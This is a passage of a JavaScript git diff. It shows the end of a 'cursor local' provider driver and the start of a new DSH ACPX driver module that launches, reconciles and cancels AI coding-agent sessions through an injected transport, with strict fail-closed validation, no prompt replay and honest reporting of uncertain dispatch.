view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + disposition, + }; + if (detail !== undefined) { + receipt.detail_code = detail.detail_code; + receipt.detail_message = detail.detail_message; + } + return receipt; + } + + // Post-spawn launch failures never throw. A session spawned by the + // transport may still be live, and only a confirmed teardown before the + // return can prove otherwise; every unproven case is therefore reported + // as dispatch_uncertain with the exact lane identity intact. + function uncertainDispatch(lane, view, request) { + lane.phase.sendUncertain = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + + // The one path out of live-session classification: cancel the exact + // spawned session and accept only a well-formed confirmed result that + // echoes the exact binding digest and session id. Anything else — a + // throw, a lie, a malformed result, an unconfirmed outcome — leaves the + // classification honestly uncertain. + function confirmTeardown(lane) { + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const teardownOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!teardownOutcome.ok) return false; + try { + const tornDown = readTransportResult(teardownOutcome.value, + 'driver.launch.teardown.result', CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); + if (!digestsEqual(optOwn(tornDown, 'binding_digest'), lane.bindingDigest)) return false; + if (optOwn(tornDown, 'session_id') !== lane.phase.sessionId) return false; + return optOwn(tornDown, 'outcome') === 'confirmed'; + } catch { + return false; + } + } + + const driver = {}; + + capturedDefineProperty(driver, 'preflight', { + configurable: false, + enumerable: true, + value: function preflight(request) { + const view = validateDriverPreflightRequestV1(request); + assertProvenanceBound(view, config, 'driver.preflight.request'); + const lane = laneFromView(view); + if (!(lane.state === 'absent' || lane.state === 'ready' || lane.state === 'blocked' + || lane.state === 'not_sent')) { + fail('invalid_transition', 'driver.preflight.request', + 'Preflight cannot run after a prompt may have been dispatched.'); + } + if (lane.state === 'ready' || lane.state === 'blocked') { + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + lane.state === 'blocked' ? DETAIL_FOR.preflight_blocked : undefined), + request, declaration, + ); + } + const probe = freezeData({ binding_digest: lane.bindingDigest }); + const outcome = callTransport(transportMethods, 'availability', probe); + if (!outcome.ok) { + lane.state = 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, 'blocked', DETAIL_FOR.preflight_blocked), + request, declaration, + ); + } + const availability = readTransportResult(outcome.value, 'driver.preflight.availability.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.availability); + const available = optOwn(availability, 'available'); + if (available !== true && available !== false) { + fail('invalid_transport_result', 'driver.preflight.availability.result.available', + 'Transport availability must be exactly true or false.'); + } + lane.state = available ? 'ready' : 'blocked'; + return validateDriverPreflightResultV1( + receiptFor('preflight', view, lane.state, + available ? undefined : DETAIL_FOR.preflight_blocked), + request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'launch', { + configurable: false, + enumerable: true, + value: function launch(request) { + const view = validateDriverLaunchRequestV1(request); + assertProvenanceBound(view, config, 'driver.launch.request'); + const lane = laneFromView(view); + if (lane.state === 'absent') { + fail('not_preflighted', 'driver.launch.request', + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (lane.state === 'blocked') { + fail('blocked_lane_denied', 'driver.launch.request', + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (lane.phase.spawned || lane.phase.sendAttempted) { + fail('replay_denied', 'driver.launch.request', + 'This lane already spawned or dispatched; prompts are never replayed.'); + } + const spawnRequest = freezeData({ + assignment_id: lane.assignmentId, + base_sha: config.runBaseSha, + binding_digest: lane.bindingDigest, + lane_index: lane.laneIndex, + model: config.model, + repository_path: lane.repositoryPath, + run_id: lane.runId, + ...(config.workspaceRoot !== undefined ? { workspace_root: config.workspaceRoot } : {}), + }); + const spawnOutcome = callTransport(transportMethods, 'spawn', spawnRequest); + if (!spawnOutcome.ok) { + lane.state = 'not_sent'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_spawn), + request, declaration, + ); + } + let sessionId; + try { + const spawned = readTransportResult(spawnOutcome.value, 'driver.launch.spawn.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.spawn); + sessionId = requireExactString(spawned, 'session_id', 'driver.launch.spawn.result', + SESSION_ID_PATTERN, 'invalid_transport_result'); + requireBindingEcho(spawned, lane.bindingDigest, 'driver.launch.spawn.result'); + } catch { + // The transport returned from spawn, so a session may be live and + // its result is unusable. Never throw past a successful spawn: mark + // the one spawn as spent (no respawn, no fallback) and report + // dispatch_uncertain with the exact lane identity. + lane.phase.spawned = true; + lane.state = 'dispatch_uncertain'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatch_uncertain'), request, declaration, + ); + } + lane.phase.spawned = true; + lane.phase.sessionId = sessionId; + lane.state = 'spawned'; + + // Exactly one dispatch attempt per lane, forever. + lane.phase.sendAttempted = true; + const sendRequest = freezeData({ + binding_digest: lane.bindingDigest, + prompt_utf8_bytes: capturedUtf8ByteLength(view.request.envelope_text), + prompt_text: view.request.envelope_text, + session_id: sessionId, + }); + const sendOutcome = callTransport(transportMethods, 'send', sendRequest); + if (!sendOutcome.ok) { + if (safeErrorCode(sendOutcome.error) === TRANSPORT_PRE_WRITE_FAILURE_CODE) { + // not_sent is only honest once the spawned session is provably + // gone: cancel it and accept only a confirmed teardown. A live or + // unverifiable session is never classified not_sent. + if (confirmTeardown(lane)) { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'not_sent', DETAIL_FOR.launch_not_sent_prewrite), + request, declaration, + ); + } + return uncertainDispatch(lane, view, request); + } + return uncertainDispatch(lane, view, request); + } + let sent; + try { + sent = readTransportResult(sendOutcome.value, 'driver.launch.send.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.send); + requireBindingEcho(sent, lane.bindingDigest, 'driver.launch.send.result'); + requireSessionEcho(sent, sessionId, 'driver.launch.send.result'); + } catch { + // A malformed, lying, or extra-keyed send result leaves the prompt + // unacknowledged while the session may be live: honest uncertainty, + // never a thrown error and never a second attempt. + return uncertainDispatch(lane, view, request); + } + if (optOwn(sent, 'acknowledged') !== true) { + // Missing or false acknowledgement keeps the session live without + // proof of delivery or of non-delivery: dispatch_uncertain. + return uncertainDispatch(lane, view, request); + } + lane.phase.acked = true; + lane.state = 'dispatched'; + return validateDriverLaunchResultV1( + receiptFor('launch', view, 'dispatched'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'reconcile', { + configurable: false, + enumerable: true, + value: function reconcile(request) { + const view = validateDriverReconcileRequestV1(request); + assertProvenanceBound(view, config, 'driver.reconcile.request'); + const lane = laneFromView(view); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.reconcile.request', + 'Reconcile addresses an existing dispatch; no prompt was ever attempted.'); + } + if (view.intent === 'restart_reattach') { + requireFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + requireFeature(declaration, view.include[index], + `driver.reconcile.request.include[${index}]`); + } + if (lane.state === 'terminal') { + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + const observeRequest = freezeData({ + binding_digest: lane.bindingDigest, + include: freezeData([...view.include]), + intent: view.intent, + session_id: lane.phase.sessionId, + }); + const observeOutcome = callTransport(transportMethods, 'observe', observeRequest); + if (!observeOutcome.ok) { + fail('observe_failed', 'driver.reconcile.observe', + 'The transport observation failed; the lane keeps its exact identity and state.'); + } + const observed = readTransportResult(observeOutcome.value, 'driver.reconcile.observe.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.observe); + requireBindingEcho(observed, lane.bindingDigest, 'driver.reconcile.observe.result'); + requireSessionEcho(observed, lane.phase.sessionId, 'driver.reconcile.observe.result'); + const status = requireExactString(observed, 'status', 'driver.reconcile.observe.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(OBSERVE_STATUSES, status)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.status', + 'Observation status is outside the closed vocabulary.'); + } + + const wantsEvidence = capturedIncludes(view.include, 'detailed_events') + || capturedIncludes(view.include, 'live_progress'); + const sink = wantsEvidence ? ensureEvidenceSink(lane) : undefined; + const progressText = optOwn(observed, 'progress_text'); + if (progressText !== undefined) { + if (typeof progressText !== 'string' || progressText.length === 0) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.progress_text', + 'Progress text must be a non-empty string when present.'); + } + if (!wantsEvidence) { + fail('evidence_include_required', 'driver.reconcile.observe.result.progress_text', + 'Progress text arrives only when live_progress or detailed_events is included.'); + } + ingestVisibleText(lane, sink, progressText, 'progress'); + } + const events = optOwn(observed, 'events'); + if (events !== undefined) { + if (!capturedIsArray(events)) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.events', + 'Events must arrive as a dense array of strings.'); + } + const eventCount = events.length; + if (!wantsEvidence && eventCount > 0) { + fail('evidence_include_required', 'driver.reconcile.observe.result.events', + 'Event text arrives only when detailed_events or live_progress is included.'); + } + for (let index = 0; index < eventCount; index += 1) { + const chunk = optOwn(events, STRING(index)); + if (typeof chunk !== 'string' || chunk.length === 0) { + fail('invalid_transport_result', + `driver.reconcile.observe.result.events[${index}]`, + 'Every event chunk must be a non-empty string.'); + } + if (sink !== undefined) ingestVisibleText(lane, sink, chunk, 'event'); + } + } + const question = optOwn(observed, 'question'); + if (status === 'attention') { + if (question === undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'An attention observation must carry exactly one question.'); + } + assertAttentionQuestionShape(question, 'driver.reconcile.observe.result.question'); + if (wantsEvidence) { + ingestVisibleText(lane, sink, optOwn(question, 'question_text'), 'attention'); + } + lane.question = freezeData({ question_id: optOwn(question, 'question_id') }); + lane.state = 'unresolved_attention'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'unresolved_attention'), request, declaration, + ); + } + if (question !== undefined) { + fail('invalid_transport_result', 'driver.reconcile.observe.result.question', + 'A non-attention observation must not carry a question.'); + } + if (status === 'completed' || status === 'failed') { + lane.state = 'terminal'; + lane.terminalReason = status; + flushLaneWindow(lane); + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'terminal'), request, declaration, + ); + } + lane.state = 'in_progress'; + return validateDriverReconcileResultV1( + receiptFor('reconcile', view, 'in_progress'), request, declaration, + ); + }, + }); + + capturedDefineProperty(driver, 'cancel', { + configurable: false, + enumerable: true, + value: function cancel(request) { + const view = validateDriverCancelRequestV1(request); + assertProvenanceBound(view, config, 'driver.cancel.request'); + const lane = laneFromView(view); + requireFeature(declaration, 'cancellation', 'driver.cancel.request'); + if (!lane.phase.sendAttempted) { + fail('not_dispatched', 'driver.cancel.request', + 'Cancel addresses an existing dispatch; no prompt was ever attempted.'); + } + if (lane.state === 'terminal') { + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'already_terminal'), request, declaration, + ); + } + const cancelRequest = freezeData({ + binding_digest: lane.bindingDigest, + session_id: lane.phase.sessionId, + }); + const cancelOutcome = callTransport(transportMethods, 'cancel', cancelRequest); + if (!cancelOutcome.ok) { + fail('cancel_failed', 'driver.cancel', + 'The cancellation request failed; the lane keeps its exact identity and state.'); + } + const cancelled = readTransportResult(cancelOutcome.value, 'driver.cancel.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.cancel); + requireBindingEcho(cancelled, lane.bindingDigest, 'driver.cancel.result'); + requireSessionEcho(cancelled, lane.phase.sessionId, 'driver.cancel.result'); + const outcome = requireExactString(cancelled, 'outcome', 'driver.cancel.result', + /^[a-z_]{1,24}$/u, 'invalid_transport_result'); + if (!capturedIncludes(CANCEL_OUTCOMES, outcome)) { + fail('invalid_transport_result', 'driver.cancel.result.outcome', + 'Cancellation outcome is outside the closed vocabulary.'); + } + if (outcome === 'confirmed') { + lane.state = 'terminal'; + lane.terminalReason = 'cancelled'; + flushLaneWindow(lane); + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_confirmed'), request, declaration, + ); + } + lane.state = 'cancel_requested'; + return validateDriverCancelResultV1( + receiptFor('cancel', view, 'cancel_requested'), request, declaration, + ); + }, + }); + + function submitAttentionReply(request) { + const replyPath = 'cursor_local.reply.request'; + quarantineControlRequest(request, CURSOR_LOCAL_REPLY_REQUEST_KEYS, + CURSOR_LOCAL_REPLY_REQUEST_SCHEMA_ID, replyPath); + // An unsupported reply posture refuses explicitly, before any lane or + // transport is consulted, and never starts a new prompt instead. + if (declaration.capability.same_session_reply !== 'live_session_reply') { + fail('reply_unsupported', `${replyPath}.schema`, + 'Same-session reply is unsupported for this posture; the refusal is explicit.'); + } + const answerText = requireExactString(request, 'answer_text', replyPath, /^[\s\S]+$/u, + 'invalid_answer'); + if (capturedUtf8ByteLength(answerText) > MAX_ANSWER_BYTES) { + fail('answer_too_large', `${replyPath}.answer_text`, + `answer_text exceeds the ${MAX_ANSWER_BYTES}-byte bound.`); + } + const sessionId = requireExactString(request, 'session_id', replyPath, SESSION_ID_PATTERN, + 'invalid_format'); + const questionId = requireExactString(request, 'question_id', replyPath, QUESTION_ID_PATTERN, + 'invalid_format'); + const lane = resolveControlLane(request, lanes, config, replyPath); + if (lane.phase.replyAttempts > 0) { + fail('reply_already_attempted', `${replyPath}.question_id`, + 'This question was already answered once; replies are attempt-once.'); + } + if (lane.state !== 'unresolved_attention' || lane.question === undefined) { + fail('no_attention_question', `${replyPath}.question_id`, + 'No attention question is outstanding on this exact lane.'); + } + if (lane.question.question_id !== questionId) { + fail('question_mismatch', `${replyPath}.question_id`, + 'The reply question does not equal the exact outstanding question.'); + } + if (lane.phase.sessionId !== sessionId) { + fail('uncorrelated_session', `${replyPath}.session_id`, + 'The reply session does not match the exact spawned session.'); + } + // Consume the one-shot budget before touching the transport so a + // throwing or lying transport can never earn a second attempt. + lane.phase.replyAttempts += 1; + const replyRequest = freezeData({ + answer_text: answerText, + binding_digest: lane.bindingDigest, + question_id: questionId, + session_id: sessionId, + }); + const replyOutcome = callTransport(transportMethods, 'reply', replyRequest); + if (!replyOutcome.ok) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply', + 'The same-session reply failed once and will never be retried.'); + } + const replied = readTransportResult(replyOutcome.value, 'cursor_local.reply.result', + CURSOR_LOCAL_TRANSPORT_RESULT_KEYS.reply); + requireBindingEcho(replied, lane.bindingDigest, 'cursor_local.reply.result'); + requireSessionEcho(replied, sessionId, 'cursor_local.reply.result'); + if (optOwn(replied, 'answered') !== true) { + lane.phase.replyOutcome = 'failed'; + fail('reply_transport_failed', 'cursor_local.reply.result.answered', + 'The transport did not authoritatively confirm the reply.'); + } + lane.phase.replyOutcome = 'answered'; + lane.question = undefined; + lane.state = 'in_progress'; + return freezeData({ + schema: CURSOR_LOCAL_REPLY_RESULT_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + run_id: lane.runId, + assignment_id: lane.assignmentId, + lane_index: lane.laneIndex, + base_sha: config.runBaseSha, + child_envelope_digest: lane.childEnvelopeDigest, + session_id: sessionId, + question_id: questionId, + answered: true, + }); + } + + function readEvidence(request) { + const evidencePath = 'cursor_local.evidence.request'; + quarantineControlRequest(request, CURSOR_LOCAL_EVIDENCE_REQUEST_KEYS, + CURSOR_LOCAL_EVIDENCE_REQUEST_SCHEMA_ID, evidencePath); + const lane = resolveControlLane(request, lanes, config, evidencePath); + if (lane.evidence === null) { + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: freezeData([]), + total_bytes: 0, + truncated: false, + }); + } + const drained = lane.evidence.drain(); + return freezeData({ + schema: CURSOR_LOCAL_EVIDENCE_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + events: drained.events, + total_bytes: drained.total_bytes, + truncated: drained.truncated, + }); + } + + return freezeData({ + schema: CURSOR_LOCAL_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + provider: CURSOR_LOCAL_PROVIDER, + declaration, + driver: OBJECT_FREEZE(driver), + controls: freezeData({ + readEvidence: capturedFreeze(readEvidence), + submitAttentionReply: capturedFreeze(submitAttentionReply), + }), + }); +} + +capturedFreeze(createCursorLocalDriverV1); +capturedFreeze(describeCursorLocalDriverV1); diff --git a/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs new file mode 100644 index 0000000..d92be67 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs @@ -0,0 +1,1172 @@ +// DshApxDriverV1 - the P20 DSH ACPX provider driver for Muse Spark 1.2 +// Contributor and Ox Alpha. +// +// Additive v3 adapter over the accepted P17 ProviderDriverV1 contract. This +// module owns ONLY the DSH-specific wiring; every request/result shape, +// capability posture, transition rule, and denial code is inherited from the +// accepted contract (no parallel envelope or capability schema): +// - hard binding: provider `dsh` plus exactly `muse-spark-1.2-contributor` +// or `stealth/ox-alpha`; every other provider/model pairing fails closed; +// - the four lifecycle operations (preflight, launch, reconcile, cancel) +// are driven through an INJECTED BOUNDED ACPX ONE-SHOT TRANSPORT PORT. +// The port owns every real interaction; this module performs none; +// - honest uncertainty: ACPX provides no authoritative prompt-sent +// acknowledgement, so after spawn/dispatch intent the launch posture is +// uncertain. Any post-intent exception or loss is reported as the +// `dispatch_uncertain` disposition and is NEVER replayed, retried, or +// fallback-substituted onto this or another transport. Only a transport +// failure that is provably pre-spawn (a marked pre-spawn error, or any +// failure before the spawn call was ever made) may report `not_sent`; +// - same-session reply is unsupported (`unsupported_unresolved_attention`): +// unresolved attention surfaces honestly through the reconcile +// disposition; no replacement prompt/session is ever started; +// - live progress, detailed events, cancellation confirmation, and restart +// recovery are read from RECORDED ACPX EVIDENCE through bounded pages; +// - exact model/credential/config identity plus task/session correlation +// fail closed on drift; forged or malformed receipts fail closed while +// transport loss degrades honestly to uncertainty; +// - events, records, cursors, lanes, attempts, operations, timestamps, and +// diagnostics are capped; detail messages are composed only from closed +// vocabulary words and validated integers, so provider prompt, reply, or +// event content can never leak into protected telemetry. +// +// Non-claims: this slice qualifies no real transport. The module claims no +// durable P19/P21 store, scheduler, registry cutover, or supervisor cutover, +// and holds no merge/PR authority. + +import { + createHash as nodeCreateHash, + timingSafeEqual as cryptoTimingSafeEqual, +} from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + DRIVER_DECLARATION_SCHEMA_ID, + DRIVER_OPERATIONS, + DRIVER_RESULT_SCHEMA_IDS, + PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + bindProviderDriverV1, + validateDriverDeclarationV1, +} from './provider-driver.mjs'; +import { + capturedFreeze, + capturedIncludes, + capturedJoin, + capturedTest, +} from './grammar.mjs'; +import { DIGEST_HEX_LENGTH } from './identity.mjs'; +import { parseChildEnvelopeV1 } from './prompt-compiler.mjs'; +import { + assertAllowedKeys, + assertBoundedText, + assertDenseJsonArray, + assertJsonDataObject, + isPlainObject, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const CREATE_HASH = nodeCreateHash; + +// --------------------------------------------------------------------------- +// Closed surface constants +// --------------------------------------------------------------------------- + +export const DSH_ACPX_DRIVER_SCHEMA_ID = 'codex-co-engineer.dsh-acpx-driver.v1'; +export const DSH_ACPX_DRIVER_VERSION = 1; +export const DSH_PROVIDER = 'dsh'; + +export const DSH_ALLOWED_MODELS = capturedFreeze([ + 'muse-spark-1.2-contributor', + 'stealth/ox-alpha', +]); + +// Informational identity data mirroring the shipped supervisor DSH routing. +// The injected port resolves real paths and credentials; this map never +// touches the filesystem and confers no authority by itself. +export const DSH_MODEL_IDENTITIES = capturedFreeze({ + 'muse-spark-1.2-contributor': capturedFreeze({ + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }), + 'stealth/ox-alpha': capturedFreeze({ + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }), +}); + +// The one workspace posture this driver accepts: a local managed worktree +// anchored at the immutable run base SHA. Direct mode fails closed. +export const DSH_WORKSPACE_MODES = capturedFreeze(['managed']); + +export const DSH_ACPX_TRANSPORT_KEYS = capturedFreeze([ + 'cancel', 'configIdentity', 'events', 'poll', 'spawn', +]); + +const DSH_DRIVER_OPTION_KEYS = capturedFreeze(['now', 'transport', 'workspace_mode']); + +// Recorded-evidence vocabulary the injected port must project raw ACPX output +// into. `absent` means the port found no recorded evidence for the session. +export const DSH_EVIDENCE_STATES = capturedFreeze([ + 'absent', 'accepted', 'running', 'needs_attention', + 'completed', 'failed', 'cancelled', +]); +export const DSH_TERMINAL_EVIDENCE_STATES = capturedFreeze([ + 'completed', 'failed', 'cancelled', +]); +// Hostile non-terminal poll states after a terminal latch. Reconcile must +// never map these back to in_progress, dispatch_uncertain, or +// unresolved_attention once completed/failed/cancelled or +// cancel_confirmed/already_terminal has been observed on the lane. +// Later cancel after any of those latches is a local already_terminal +// result and must not probe the injected port. cancel_requested stays +// nonterminal so a later cancel may still be delivered. +const DSH_POST_TERMINAL_REGRESSION_STATES = capturedFreeze([ + 'accepted', 'running', 'needs_attention', 'absent', +]); +const DSH_TERMINAL_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'already_terminal', +]); +export const DSH_STOP_REASONS = capturedFreeze(['end_turn', 'cancelled', 'timeout', 'error']); +export const DSH_EVENT_KINDS = capturedFreeze([ + 'text_delta', 'thought_delta', 'tool_call', 'tool_call_update', + 'status', 'usage', 'attention', +]); +export const DSH_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'requested', 'already_terminal', +]); +export const DSH_IDENTITY_UNAVAILABLE_REASONS = capturedFreeze([ + 'config_unavailable', 'credential_unavailable', +]); + +// Every detail_code this driver can emit. Codes and messages are fixed +// vocabulary; transports never author either. +export const DSH_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'cancel_confirmed', + 'cancel_requested', + 'dsh_config_unavailable', + 'dsh_credential_unavailable', + 'dsh_transport_unavailable', + 'evidence_absent', + 'live_progress', + 'restart_evidence_absent', + 'terminal_evidence', + 'transport_prespawn_denied', + 'unresolved_attention', +]); + +// Bounds. Counts, cursors, text, lanes, attempts, operations, and clock +// readings above these bounds fail closed. +export const DSH_MAX_LANES = 64; +export const DSH_MAX_LAUNCH_ATTEMPTS = 2; +export const DSH_MAX_LANE_OPERATIONS = 256; +export const DSH_MAX_RECORDED_EVENTS = 1024; +export const DSH_MAX_EVENT_PAGE_RECORDS = 64; +export const DSH_MAX_EVENT_RECORD_BYTES = 4096; +export const DSH_MAX_CURSOR = 1_000_000_000; +export const DSH_MAX_SESSION_REF_BYTES = 128; +export const DSH_MAX_CONFIG_PATH_BYTES = 1024; +export const DSH_MAX_TIME_MS = 4102444800000; // 2100-01-01T00:00:00Z + +export const DSH_SESSION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const DSH_QUESTION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const DSH_DIGEST_HEX_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +export const DSH_ABSOLUTE_PATH_PATTERN = /^\/[^\\%]*$/u; +export const DSH_TRANSPORT_ERROR_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; + +const DSH_IDENTITY_KEYS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_sha256', 'credential_source', 'ready', +]); +const DSH_IDENTITY_UNAVAILABLE_KEYS = capturedFreeze(['ready', 'reason']); +const DSH_DISPATCH_PAYLOAD_KEYS = capturedFreeze([ + 'assignment_id', 'attempted_at_ms', 'base_sha', 'child_envelope_digest', + 'envelope_text', 'lane_index', 'model', 'run_id', +]); +const DSH_POLL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_CANCEL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_EVENTS_REQUEST_KEYS = capturedFreeze([ + 'correlation', 'cursor', 'max_records', 'session_ref', +]); +const DSH_CORRELATION_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'lane_index', 'model', 'run_id', +]); +const DSH_SPAWN_RECEIPT_KEYS = capturedFreeze(['observed_at_ms', 'session_ref']); +const DSH_IDENTITY_RECEIPT_KEYS = capturedFreeze([ + ...DSH_IDENTITY_KEYS, ...DSH_IDENTITY_UNAVAILABLE_KEYS, +]); +const DSH_EVIDENCE_RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'cursor', 'event_count', + 'lane_index', 'model', 'question_ref', 'run_id', 'session_ref', 'state', + 'stop_reason', 'updated_at_ms', +]); +const DSH_EVENT_PAGE_KEYS = capturedFreeze(['next_cursor', 'records', 'truncated']); +const DSH_EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind', 'seq']); +const DSH_CANCEL_RECEIPT_KEYS = capturedFreeze([...DSH_CORRELATION_KEYS, 'outcome', 'session_ref']); +const IDENTITY_DRIFT_FIELDS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_source', 'credential_sha256', +]); + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +// Hash-then-compare keeps the comparison constant time without leaking length. +function constantTimeEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + const leftBytes = Buffer.from(CREATE_HASH('sha256').update(left, 'utf8').digest(), 'hex'); + const rightBytes = Buffer.from(CREATE_HASH('sha256').update(right, 'utf8').digest(), 'hex'); + return TIMING_SAFE_EQUAL(leftBytes, rightBytes); +} + +// --------------------------------------------------------------------------- +// Declaration: the honest DSH posture, hard-bound at construction +// --------------------------------------------------------------------------- + +function buildDshAcpDeclarationV1() { + const declaration = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: 'DSH ACPX one-shot flow for Muse Spark 1.2 Contributor or Ox Alpha. ' + + 'ACPX gives no authoritative prompt-sent acknowledgement, so launches stay ' + + 'uncertain after spawn and are never replayed. Same-session reply is ' + + 'unsupported; attention surfaces unresolved instead of starting a ' + + 'replacement prompt or session.', + provider: DSH_PROVIDER, + replay_posture: 'never_replay', + revision: 'p20.dsh-acpx.1', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }, + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }; + const validated = validateDriverDeclarationV1(declaration); + // Belt and braces: the declaration this module ships must keep asserting the + // exact DSH truth even if the literal above is ever edited. + assertCapabilityRequirementV1(validated, { + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + return validated; +} + +// --------------------------------------------------------------------------- +// Injected transport port validation +// --------------------------------------------------------------------------- + +export function assertDshAcpTransportV1(transport) { + const path = 'dsh_transport'; + assertNotProxy(transport, path); + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !Array.isArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly five concrete synchronous functions.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new Set(DSH_ACPX_TRANSPORT_KEYS); + if (entries.length !== DSH_ACPX_TRANSPORT_KEYS.length + || entries.some(({ key }) => !expected.has(key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(DSH_ACPX_TRANSPORT_KEYS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + keys: [...DSH_ACPX_TRANSPORT_KEYS], + mode: 'injected_bounded_one_shot_port', + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + }); +} + +// --------------------------------------------------------------------------- +// Receipt validation (recorded ACPX evidence projected by the port) +// --------------------------------------------------------------------------- + +function assertReceiptObject(value, keys, label) { + const path = `dsh_transport.${label}`; + assertDirectJsonClosure(value, path); + assertPlainObject(value, 'invalid_type', path, path); + assertAllowedKeys(value, keys, path); +} + +function assertHexDigest(value, path) { + if (typeof value !== 'string' || 